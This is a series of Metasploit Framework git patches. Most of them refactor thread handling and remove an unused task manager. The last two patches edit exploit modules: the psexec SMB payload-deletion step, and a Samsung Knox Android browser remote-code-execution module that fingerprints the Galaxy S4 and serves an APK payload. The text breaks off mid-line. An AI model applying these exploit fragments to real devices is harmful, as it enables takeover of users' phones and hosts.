From: Luke Imhoff Date: Thu, 13 Nov 2014 09:49:08 -0600 Subject: [PATCH 38/99] Ignore debugger threads MSP-11147 When using the debugger, it adds a thread that should be allowed and not go towards the count. --- lib/metasploit/framework/spec/threads/suite.rb | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index 2a4b81ced3..99ef3a636a 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -31,7 +31,7 @@ module Metasploit unless @configured RSpec.configure do |config| config.before(:suite) do - thread_count = Thread.list.count + thread_count = Metasploit::Framework::Spec::Threads::Suite.non_debugger_thread_list.count # check with if first so that error message can be constructed lazily if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE @@ -68,7 +68,7 @@ module Metasploit f.puts 'after(:suite)' end - thread_list = Thread.list + thread_list = Metasploit::Framework::Spec::Threads::Suite.non_debugger_thread_list thread_uuids = thread_list.map { |thread| thread[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] @@ -195,6 +195,15 @@ module Metasploit lines_by_thread_uuid end + + # @return + def self.non_debugger_thread_list + Thread.list.reject { |thread| + # don't do `is_a? Debugger::DebugThread` because it requires Debugger::DebugThread to be loaded, which it + # won't when not debugging. + thread.class.name == 'Debugger::DebugThread' + } + end end end end From 8fc683d75ded64b3d8a32f125020f235944ffdba Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 13 Nov 2014 11:11:34 -0600 Subject: [PATCH 39/99] Use MonitorMixing in Msf::Framework MSP-11605 To get access to `#synchronize` for thread-safe lazy initialization. --- lib/msf/core/framework.rb | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 55fc46e557..da6fa377c1 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -1,4 +1,15 @@ # -*- coding: binary -*- + +# +# Standard Library +# + +require 'monitor' + +# +# Project +# + require 'metasploit/framework/version' require 'msf/core' require 'msf/util' @@ -12,6 +23,7 @@ module Msf # ### class Framework + include MonitorMixin # # Versioning information @@ -67,6 +79,8 @@ class Framework # Creates an instance of the framework context. # def initialize(opts={}) + # call super to initialize MonitorMixin. #synchronize won't work without this. + super() # Allow specific module types to be loaded types = opts[:module_types] || Msf::MODULE_TYPES From 216c3d01de4b3c3e68758497f85868666fd8e36d Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 13 Nov 2014 11:12:43 -0600 Subject: [PATCH 40/99] Thread-safe lazy Msf::Framework#threads MSP-11605 Switch Msf::Framework#threads to a custom method that uses `||=` to lazily initialize the `Msf::ThreadManager` inside a `synchronize` block to make it thread safe. --- lib/msf/core/framework.rb | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index da6fa377c1..a3cd2549a9 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -85,7 +85,6 @@ class Framework # Allow specific module types to be loaded types = opts[:module_types] || Msf::MODULE_TYPES - self.threads = ThreadManager.new(self) self.events = EventDispatcher.new(self) self.modules = ModuleManager.new(self,types) self.sessions = SessionManager.new(self) @@ -199,11 +198,16 @@ class Framework # maintains the database db and handles db events # attr_reader :db - # + # The framework instance's thread manager. The thread manager # provides a cleaner way to manage spawned threads # - attr_reader :threads + # @return [Msf::ThreadManager] + def threads + synchronize { + @threads ||= Msf::ThreadManager.new(self) + } + end protected @@ -215,7 +219,6 @@ protected attr_writer :jobs # :nodoc: attr_writer :plugins # :nodoc: attr_writer :db # :nodoc: - attr_writer :threads # :nodoc: end class FrameworkEventSubscriber From bc181f0294841e6933b10ac67b98ca534936a92e Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 13 Nov 2014 13:17:57 -0600 Subject: [PATCH 41/99] Thread-safe lazy Msf::Framework#sessions MSP-11605 Switch `Msf::Framework#sessions` from being set in `#initialize` to a custom method that uses `||=` to lazily initialize the `Msf::SessionManager` inside a `synchronize` block to make it thread safe. --- lib/msf/core/framework.rb | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index a3cd2549a9..44050839ea 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -87,7 +87,6 @@ class Framework self.events = EventDispatcher.new(self) self.modules = ModuleManager.new(self,types) - self.sessions = SessionManager.new(self) self.datastore = DataStore.new self.jobs = Rex::JobContainer.new self.plugins = PluginManager.new(self) @@ -168,11 +167,6 @@ class Framework # attr_reader :modules # - # Session manager that tracks sessions associated with this framework - # instance over the course of their lifetime. - # - attr_reader :sessions - # # The global framework datastore that can be used by modules. # attr_reader :datastore @@ -199,6 +193,16 @@ class Framework # attr_reader :db + # Session manager that tracks sessions associated with this framework + # instance over the course of their lifetime. + # + # @return [Msf::SessionManager] + def sessions + synchronize { + @sessions ||= Msf::SessionManager.new(self) + } + end + # The framework instance's thread manager. The thread manager # provides a cleaner way to manage spawned threads # @@ -213,7 +217,6 @@ protected attr_writer :events # :nodoc: attr_writer :modules # :nodoc: - attr_writer :sessions # :nodoc: attr_writer :datastore # :nodoc: attr_writer :auxmgr # :nodoc: attr_writer :jobs # :nodoc: From 92adaa816f6b7047583fe727d32da51bf9c029a1 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 13 Nov 2014 13:23:17 -0600 Subject: [PATCH 42/99] Store Msf::Framework#initialize options MSP-11605 Store options `Hash` passed to `Msf::Framework#new` in `#options` so that lazily initialized children, such as DBManager, have access to those options. --- lib/msf/core/framework.rb | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 44050839ea..db337e2276 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -78,19 +78,20 @@ class Framework # # Creates an instance of the framework context. # - def initialize(opts={}) + def initialize(options={}) + self.options = options # call super to initialize MonitorMixin. #synchronize won't work without this. super() # Allow specific module types to be loaded - types = opts[:module_types] || Msf::MODULE_TYPES + types = options[:module_types] || Msf::MODULE_TYPES self.events = EventDispatcher.new(self) self.modules = ModuleManager.new(self,types) self.datastore = DataStore.new self.jobs = Rex::JobContainer.new self.plugins = PluginManager.new(self) - self.db = DBManager.new(self, opts) + self.db = DBManager.new(self, options) # Configure the thread factory Rex::ThreadFactory.provider = self.threads @@ -215,6 +216,12 @@ class Framework protected + # @!attribute options + # Options passed to {#initialize} + # + # @return [Hash] + attr_accessor :options + attr_writer :events # :nodoc: attr_writer :modules # :nodoc: attr_writer :datastore # :nodoc: From 0bc27334c14d244deba107356727388fe10a6cdc Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 13 Nov 2014 13:38:53 -0600 Subject: [PATCH 43/99] Thread-safe lazy Msf::Framework#db MSP-11605 Switch `Msf:Framework#db` from being set in `#initialize` to a custom method that uses `||=` to lazily initialize the `Msf::DBManager` inside a `synchronize` block to make it thread safe. --- lib/msf/core/framework.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index db337e2276..0259a156e6 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -91,7 +91,6 @@ class Framework self.datastore = DataStore.new self.jobs = Rex::JobContainer.new self.plugins = PluginManager.new(self) - self.db = DBManager.new(self, options) # Configure the thread factory Rex::ThreadFactory.provider = self.threads @@ -188,11 +187,16 @@ class Framework # unloading of plugins. # attr_reader :plugins - # + # The framework instance's db manager. The db manager # maintains the database db and handles db events # - attr_reader :db + # @return [Msf::DBManager] + def db + synchronize { + @db ||= Msf::DBManager.new(self, options) + } + end # Session manager that tracks sessions associated with this framework # instance over the course of their lifetime. From d9a25005a688794841e51afd7b33ada80a6f219c Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 13 Nov 2014 14:08:26 -0600 Subject: [PATCH 44/99] Wrap Msf::Framework#threads in Metasploit::Framework::ThreadFactoryProvider MSP-11605 `Rex::ThreadFactory.provider` needs to be set in `Msf::Framework#initialize`, but setting it directly to `Msf::Framework#threads` eliminates the laziness of `Msf::Framework#threads`. In order keep `framework.threads` lazy, `framework` is wrapped in a `Metasploit::Framework::ThreadFactoryProvider`, which responds to `spawn`, which is needed by `Rex::ThreadFactory`, by calling `framework.threads.spawn`, which lazily initialized `framework.threads` when the first thread needs to be spawned. --- lib/metasploit/framework.rb | 1 + .../framework/thread_factory_provider.rb | 26 +++++++++++++++++++ lib/msf/core/framework.rb | 2 +- 3 files changed, 28 insertions(+), 1 deletion(-) create mode 100644 lib/metasploit/framework/thread_factory_provider.rb diff --git a/lib/metasploit/framework.rb b/lib/metasploit/framework.rb index a43afdc93c..7c2c669797 100644 --- a/lib/metasploit/framework.rb +++ b/lib/metasploit/framework.rb @@ -35,6 +35,7 @@ module Metasploit extend ActiveSupport::Autoload autoload :Spec + autoload :ThreadFactoryProvider # Returns the root of the metasploit-framework project. Use in place of # `Rails.root`. diff --git a/lib/metasploit/framework/thread_factory_provider.rb b/lib/metasploit/framework/thread_factory_provider.rb new file mode 100644 index 0000000000..2045a4b5bd --- /dev/null +++ b/lib/metasploit/framework/thread_factory_provider.rb @@ -0,0 +1,26 @@ +# Wraps {Msf::Framework} so that {Msf::Framework#threads} is only created on the first call to {#spawn} by +# {Rex::ThreadFactory#spawn}, which allows the threads used by {Msf::ThreadManager} to be created lazily. +# +# @example Setting Rex::ThreadFactory.provider and spawning threads +# Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: framework) +# # framework.threads created here +# Rex::ThreadFactory.spawn("name", false) { ... } +# +class Metasploit::Framework::ThreadFactoryProvider < Metasploit::Model::Base + # + # Attributes + # + + # @!attribute framework + # The framework managing the spawned threads. + # + # @return [Msf::Framework] + attr_accessor :framework + + # Spawns a thread monitored by {Msf::ThreadManager} in {Msf::Framework#threads}. + # + # (see Msf::ThreadManager#spawn) + def spawn(name, critical, *args, &block) + framework.threads.spawn(name, critical, *args, &block) + end +end \ No newline at end of file diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 0259a156e6..8e3b3f93c2 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -93,7 +93,7 @@ class Framework self.plugins = PluginManager.new(self) # Configure the thread factory - Rex::ThreadFactory.provider = self.threads + Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self) subscriber = FrameworkEventSubscriber.new(self) events.add_exploit_subscriber(subscriber) From eb3ff769a9d30ff0a042677af0ae6109419ff271 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 13 Nov 2014 14:21:35 -0600 Subject: [PATCH 45/99] Msf::Framework#threads? MSP-11605 `Msf::Framework#threads?` returns whether `Msf::Framework#threads` was ever initialized. If `Msf::Framework#threads?` is true, then threads need to be cleaned up, while if it is false then no threads need to be cleaned up from the current framework. --- lib/msf/core/framework.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 8e3b3f93c2..9bc518651c 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -218,6 +218,16 @@ class Framework } end + # Whether {#threads} has been initialized + # + # @return [true] if {#threads} has been initialized + # @return [false] otherwise + def threads? + synchronize { + instance_variable_defined? :@threads + } + end + protected # @!attribute options From 69e726e2c92d39b646fbcbcf6a16506df9936436 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 13 Nov 2014 14:22:40 -0600 Subject: [PATCH 46/99] Fail if 'Msf::Framework#threads cleaner' is unnecessary MSP-11605 The 'Msf::Framework#threads cleaner' shared context fails with a RuntimeError if `framework.threads?` is false, which would indicate that cleaning is unnecessary. This change stops 'Msf::Framework#threads cleaner' from accessing `framework.threads`, which would create threads only to immediately clean them up. --- .../shared/contexts/msf/framework/threads/cleaner.rb | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/spec/support/shared/contexts/msf/framework/threads/cleaner.rb b/spec/support/shared/contexts/msf/framework/threads/cleaner.rb index 2c018f59aa..3b851e8cbb 100644 --- a/spec/support/shared/contexts/msf/framework/threads/cleaner.rb +++ b/spec/support/shared/contexts/msf/framework/threads/cleaner.rb @@ -1,5 +1,13 @@ shared_context 'Msf::Framework#threads cleaner' do - after(:each) do + after(:each) do |example| + unless framework.threads? + fail RuntimeError.new( + "framework.threads was never initialized. There are no threads to clean up. " \ + "Remove `include_context Msf::Framework#threads cleaner` from context around " \ + "'#{example.metadata.full_description}'" + ) + end + # explicitly kill threads so that they don't exhaust connection pool thread_manager = framework.threads From 0c6b820f7d9c6a1ee1d20414146c20f14589b27a Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 14 Nov 2014 09:11:35 -0600 Subject: [PATCH 47/99] Remove unnecessary thread cleaning from Msf::Framework spec MSP-11605 --- spec/lib/msf/core/framework_spec.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index 7613af47a0..eb45b91856 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -4,8 +4,6 @@ require 'spec_helper' require 'msf/core/framework' describe Msf::Framework do - include_context 'Msf::Framework#threads cleaner' - context '#initialize' do subject(:framework) { described_class.new From 8925db2ec1d34d915c75483a2d144a54bfbc6137 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 14 Nov 2014 09:14:13 -0600 Subject: [PATCH 48/99] Remove thread cleaner from Msf::Simple::Framework shared context MSP-11605 The `framework` from 'Msf::Simple::Framework' shared context is not guaranteed to make threads with `framework.threads` anymore, so the cleaner shouldn't allows be present in 'Msf::Simple::Framework'. --- spec/support/shared/contexts/msf/simple/framework.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/spec/support/shared/contexts/msf/simple/framework.rb b/spec/support/shared/contexts/msf/simple/framework.rb index 5e4a9f57cc..b3cc6bace4 100644 --- a/spec/support/shared/contexts/msf/simple/framework.rb +++ b/spec/support/shared/contexts/msf/simple/framework.rb @@ -3,8 +3,6 @@ require 'msf/base/simple/framework' require 'metasploit/framework' shared_context 'Msf::Simple::Framework' do - include_context 'Msf::Framework#threads cleaner' - let(:dummy_pathname) do Rails.root.join('spec', 'dummy') end From 55a8f6f339111317c62c4bf08ee882403fb5e835 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 14 Nov 2014 10:51:51 -0600 Subject: [PATCH 49/99] Remove Msf::DBManager::Sink MSP-11614 `Msf::DBManager::Sink` contains code for a `sink` that is a meant to serialize database events, but it's unneeded because all database events go directly through ActiveRecord, which handles threading. --- lib/msf/core/db_manager.rb | 7 ---- lib/msf/core/db_manager/sink.rb | 34 ------------------- spec/lib/msf/db_manager_spec.rb | 1 - .../shared/examples/msf/db_manager/sink.rb | 7 ---- 4 files changed, 49 deletions(-) delete mode 100644 lib/msf/core/db_manager/sink.rb delete mode 100644 spec/support/shared/examples/msf/db_manager/sink.rb diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 423211ee64..e3027bedba 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -47,7 +47,6 @@ class Msf::DBManager autoload :Service, 'msf/core/db_manager/service' autoload :Session, 'msf/core/db_manager/session' autoload :SessionEvent, 'msf/core/db_manager/session_event' - autoload :Sink, 'msf/core/db_manager/sink' autoload :Task, 'msf/core/db_manager/task' autoload :Vuln, 'msf/core/db_manager/vuln' autoload :VulnAttempt, 'msf/core/db_manager/vuln_attempt' @@ -80,7 +79,6 @@ class Msf::DBManager include Msf::DBManager::Service include Msf::DBManager::Session include Msf::DBManager::SessionEvent - include Msf::DBManager::Sink include Msf::DBManager::Task include Msf::DBManager::Vuln include Msf::DBManager::VulnAttempt @@ -160,11 +158,6 @@ class Msf::DBManager # initialize_adapter - # - # Instantiate the database sink - # - initialize_sink - true end diff --git a/lib/msf/core/db_manager/sink.rb b/lib/msf/core/db_manager/sink.rb deleted file mode 100644 index 25d05baee5..0000000000 --- a/lib/msf/core/db_manager/sink.rb +++ /dev/null @@ -1,34 +0,0 @@ -module Msf::DBManager::Sink - # - # Attributes - # - - # Stores a TaskManager for serializing database events - attr_accessor :sink - - # - # Instance Methods - # - - # - # Create a new database sink and initialize it - # - def initialize_sink - self.sink = Msf::TaskManager.new(framework) - self.sink.start - end - - # - # Add a new task to the sink - # - def queue(proc) - self.sink.queue_proc(proc) - end - - # - # Wait for all pending write to finish - # - def sync - # There is no more queue. - end -end \ No newline at end of file diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index b3f2d69877..2c732c9281 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -40,7 +40,6 @@ describe Msf::DBManager do it_should_behave_like 'Msf::DBManager::Service' it_should_behave_like 'Msf::DBManager::Session' it_should_behave_like 'Msf::DBManager::SessionEvent' - it_should_behave_like 'Msf::DBManager::Sink' it_should_behave_like 'Msf::DBManager::Task' it_should_behave_like 'Msf::DBManager::Vuln' it_should_behave_like 'Msf::DBManager::VulnAttempt' diff --git a/spec/support/shared/examples/msf/db_manager/sink.rb b/spec/support/shared/examples/msf/db_manager/sink.rb deleted file mode 100644 index af9eb81a46..0000000000 --- a/spec/support/shared/examples/msf/db_manager/sink.rb +++ /dev/null @@ -1,7 +0,0 @@ -shared_examples_for 'Msf::DBManager::Sink' do - it { is_expected.to respond_to :initialize_sink } - it { is_expected.to respond_to :queue } - it { is_expected.to respond_to :sink } - it { is_expected.to respond_to :sink= } - it { is_expected.to respond_to :sync } -end \ No newline at end of file From 5e6400a506df9c0510edd11aa3864602312c266f Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 14 Nov 2014 11:15:05 -0600 Subject: [PATCH 50/99] Remove Msf::TaskManager MSP-11614 `Msf::TaskManager` was only used for `Msf::DBManager#sink`, which was removed because it was unused, so `Msf::TaskManager` can also be removed. --- lib/msf/core/db_manager.rb | 1 - lib/msf/core/task_manager.rb | 238 ------------------------- spec/lib/msf/core/task_manager_spec.rb | 99 ---------- 3 files changed, 338 deletions(-) delete mode 100644 lib/msf/core/task_manager.rb delete mode 100644 spec/lib/msf/core/task_manager_spec.rb diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index e3027bedba..2bc00061ee 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -17,7 +17,6 @@ require 'msf/core/database_event' require 'msf/core/db_import_error' require 'msf/core/host_state' require 'msf/core/service_state' -require 'msf/core/task_manager' # The db module provides persistent storage and events. This class should be instantiated LAST # as the active_suppport library overrides Kernel.require, slowing down all future code loads. diff --git a/lib/msf/core/task_manager.rb b/lib/msf/core/task_manager.rb deleted file mode 100644 index 54f6399608..0000000000 --- a/lib/msf/core/task_manager.rb +++ /dev/null @@ -1,238 +0,0 @@ -# -*- coding: binary -*- -module Msf - -### -# -# This class provides a task manager -# -### - -class TaskManager - - class Task - attr_accessor :timeout - attr_accessor :created - attr_accessor :completed - attr_accessor :status - attr_accessor :proc - attr_accessor :source - attr_accessor :exception - - # - # Create a new task - # - def initialize(proc,timeout=nil) - self.proc = proc - self.status = :new - self.created = Time.now - self.timeout = timeout - self.source = caller - end - - # - # Task duration in seconds (float) - # - def duration - etime = self.completed || Time.now - etime.to_f - self.created.to_f - end - - def wait - while self.status == :new - ::IO.select(nil,nil,nil,0.10) - end - return self.status - end - - # - # Run the associated proc - # - def run(*args) - self.proc.call(*args) if self.proc - end - - end - - - attr_accessor :processing - attr_accessor :queue - attr_accessor :thread - attr_accessor :framework - - # - # Create a new TaskManager - # - def initialize(framework) - self.framework = framework - self.flush - end - - # - # Add a new task via proc - # - def queue_proc(proc) - task = Task.new(proc) - queue_task(task) - return task - end - - # - # Add a new task to the queue unless we are called - # by the queue thread itself. - # - def queue_task(task) - if Thread.current[:task_manager] - process_task(task) - else - self.queue.push(task) - end - end - - # - # Flush the queue - # - def flush - self.queue = [] - end - - # - # Stop processing events - # - def stop - return if not self.thread - self.processing = false - self.thread.join - self.thread = nil - end - - # - # Forcefully kill the processing thread - # - def kill - return if not self.thread - self.processing = false - self.thread.kill - self.thread = nil - end - - # - # Start processing tasks - # - def start - return if self.thread - self.processing = true - self.thread = framework.threads.spawn("TaskManager", true) do - begin - process_tasks - rescue ::Exception => e - elog("taskmanager: process_tasks exception: #{e.class} #{e} #{e.backtrace}") - retry - end - end - - # Mark this thread as the task manager - self.thread[:task_manager] = true - - # Return the thread object to the caller - self.thread - end - - # - # Restart the task processor - # - def restart - stop - start - end - - # - # Retrieve the number of tasks in the queue - # - def backlog - self.queue.length - end - - # - # Process the actual queue - # - def process_tasks - spin = 50 - ltask = nil - - while(self.processing) - cnt = 0 - while(task = self.queue.shift) - stime = Time.now.to_f - ret = process_task(task) - etime = Time.now.to_f - - case ret - when :requeue - self.queue.push(task) - when :drop, :done - # Processed or dropped - end - cnt += 1 - - ltask = task - end - - spin = (cnt == 0) ? (spin + 1) : 0 - - if spin > 10 - ::IO.select(nil, nil, nil, 0.25) - end - - end - self.thread = nil - end - - # - # Process a specific task from the queue - # - def process_task(task) - begin - if(task.timeout) - ::Timeout.timeout(task.timeout) do - task.run(self, task) - end - else - task.run(self, task) - end - rescue ::ThreadError - # Ignore these (caused by a return inside of the proc) - rescue ::Exception => e - - if(e.class == ::Timeout::Error) - elog("taskmanager: task #{task.inspect} timed out after #{task.timeout} seconds") - task.status = :timeout - task.completed = Time.now - return :drop - end - - elog("taskmanager: task triggered an exception: #{e.class} #{e}") - elog("taskmanager: task proc: #{task.proc.inspect} ") - elog("taskmanager: task Call stack: \n#{task.source.join("\n")} ") - dlog("Call stack:\n#{$@.join("\n")}") - - task.status = :dropped - task.exception = e - return :drop - - end - task.status = :done - task.completed = Time.now - return :done - end - - def log_error(msg) - elog(msg, 'core') - end - - def log_debug(msg) - dlog(msg, 'core') - end - -end -end - diff --git a/spec/lib/msf/core/task_manager_spec.rb b/spec/lib/msf/core/task_manager_spec.rb deleted file mode 100644 index 3271df1741..0000000000 --- a/spec/lib/msf/core/task_manager_spec.rb +++ /dev/null @@ -1,99 +0,0 @@ -# -*- coding:binary -*- - -require 'msf/core' -require 'msf/core/task_manager' - -describe Msf::TaskManager do - - let(:framework) do - Msf::Framework.new - end - - let(:tm) do - Msf::TaskManager.new(framework) - end - - it "should have attributes" do - tm.should respond_to("processing") - tm.should respond_to("queue") - tm.should respond_to("thread") - tm.should respond_to("framework") - tm.should respond_to("processing=") - tm.should respond_to("queue=") - tm.should respond_to("thread=") - tm.should respond_to("framework=") - end - - it "should initialize with an empty queue" do - tm.queue.length.should == 0 - tm.backlog.should == 0 - tm.backlog.should == tm.queue.length - end - - it "should add items to the queue and process them" do - tm.queue_proc(Proc.new{ }) - tm.backlog.should == 1 - t = Msf::TaskManager::Task.new(Proc.new { }) - tm.queue_task(t) - tm.backlog.should == 2 - tm.start - t.wait - tm.backlog.should == 0 - end - - it "should add items to the queue and flush them" do - tm.queue_proc(Proc.new{ }) - tm.backlog.should == 1 - tm.queue_proc(Proc.new{ }) - tm.backlog.should == 2 - tm.flush - tm.backlog.should == 0 - end - - it "should start and stop" do - t = Msf::TaskManager::Task.new(Proc.new { }) - tm.queue_task(t) - tm.backlog.should == 1 - tm.start - t.wait - tm.backlog.should == 0 - tm.stop - 1.upto 100 do |cnt| - tm.queue_proc(Proc.new{ }) - tm.backlog.should == cnt - end - t = Msf::TaskManager::Task.new(Proc.new { }) - tm.queue_task(t) - tm.start - t.wait - tm.backlog.should == 0 - end - - it "should handle task timeouts" do - t = Msf::TaskManager::Task.new(Proc.new { sleep(30) }) - t.timeout = 0.1 - - tm.start - tm.queue_task(t) - t.wait - - t.status.should == :timeout - t.duration.should <= 5.0 - end - - it "should handle task exceptions" do - t = Msf::TaskManager::Task.new(Proc.new { asdf1234() }) - tm.start - tm.queue_task(t) - t.wait - t.status.should == :dropped - t.exception.class.should == ::NoMethodError - - t = Msf::TaskManager::Task.new(Proc.new { eval "'" }) - tm.queue_task(t) - t.wait - t.status.should == :dropped - t.exception.should be_a ::SyntaxError - end -end - From bc53e7667daae455857f94d1c1052a6358aaf486 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 14 Nov 2014 12:40:04 -0600 Subject: [PATCH 51/99] Remove unnecessary thread cleaning from Msfcli spec MSP-11605 --- spec/msfcli_spec.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index c6dbd35978..d37908ed00 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -143,7 +143,6 @@ describe Msfcli, :content do # context "#dump_module_list" do include_context 'Metasploit::Framework::Spec::Constants cleaner' - include_context 'Msf::Framework#threads cleaner' let(:framework) { msfcli.framework @@ -490,7 +489,6 @@ describe Msfcli, :content do context "#init_modules" do include_context 'Metasploit::Framework::Spec::Constants cleaner' - include_context 'Msf::Framework#threads cleaner' let(:args) { [ @@ -645,7 +643,6 @@ describe Msfcli, :content do context "#engage_mode" do include_context 'Metasploit::Framework::Spec::Constants cleaner' - include_context 'Msf::Framework#threads cleaner' subject(:engage_mode) { msfcli.engage_mode(modules) From e194d5490d614c04e65a444eff221dd11a411389 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 14 Nov 2014 15:45:37 -0600 Subject: [PATCH 52/99] See #4162 - Don't delay before deleting a file via SMB So I was looking at issue #4162, and on my box I was seeing this problem of the exploit failing to delete the payload in C:\Windows, and the error was "Rex::Proto::SMB::Exceptions::NoReply The SMB server did not reply to our request". I ended up removing the sleep(), and that got it to function properly again. The box was a Win 7 SP1. I also tested other Winodws boxes such as Win XP SP3, Windows Server 2008 SP2 and not having the sleep() doesn't seem to break anything. So I don't even know why someone had to add the sleep() in the first place. --- modules/exploits/windows/smb/psexec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index c8b5897710..c2c9b1172c 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -230,7 +230,7 @@ class Metasploit3 < Msf::Exploit::Remote psexec(file_location, false, servicedescription, servicename, displayname) print_status("Deleting \\#{filename}...") - sleep(1) + #This is not really useful but will prevent double \\ on the wire :) if datastore['SHARE'] =~ /.[\\\/]/ simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") From 7a62b71839dc9ae2c0433773a7bd4546d81ffa03 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sat, 15 Nov 2014 21:33:16 -0600 Subject: [PATCH 53/99] Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload. --- lib/msf/core/exploit/android.rb | 2 - .../android/browser/samsung_knox_smdm_url.rb | 92 ++++++++++++++++--- 2 files changed, 77 insertions(+), 17 deletions(-) diff --git a/lib/msf/core/exploit/android.rb b/lib/msf/core/exploit/android.rb index ae125e6064..e416884adc 100644 --- a/lib/msf/core/exploit/android.rb +++ b/lib/msf/core/exploit/android.rb @@ -49,8 +49,6 @@ module Exploit::Android // libraryData contains the bytes for a native shared object built via NDK // which will load the "stage", which in this case is our android meterpreter stager. - // LibraryData is loaded via ajax later, because we have to access javascript in - // order to detect what arch we are running. var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}"; // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb index 960601b215..f02cf6a786 100644 --- a/modules/exploits/android/browser/samsung_knox_smdm_url.rb +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -18,9 +18,21 @@ class Metasploit3 < Msf::Exploit::Remote :arch => ARCH_ARMLE, :javascript => true, :rank => ExcellentRanking, - :vuln_test => VULN_CHECK_JS + + # For BAP we only allow whitelisted devices/firmwares + # that we have tested: + # - Samsung S4 + :vuln_test => %Q| + is_vuln = navigator.userAgent.match( + /SAMSUNG GT-I9505/ + ); + | ) + # Hash that maps payload ID -> (0|1) if an HTTP request has + # been made to download a payload of that ID + attr_reader :served_payloads + def initialize(info = {}) super(update_info(info, 'Name' => 'Samsung Galaxy Knox Android Browser RCE', @@ -48,9 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', - :os_name => OperatingSystems::Match::ANDROID, - :vuln_test => VULN_CHECK_JS, - :vuln_test_error => 'The client is not vulnerable.' + :os_name => OperatingSystems::Match::ANDROID } )) @@ -60,15 +70,33 @@ class Metasploit3 < Msf::Exploit::Remote ]) ], self.class) - deregister_options('JsObfuscate') end + def exploit + @served_payloads = Hash.new(0) + super + end + + def apk_bytes + payload.encoded + end + def on_request_uri(cli, req) - if req.uri =~ /\.apk$/ - is_head = req.method.upcase == 'HEAD' - print_status "Serving 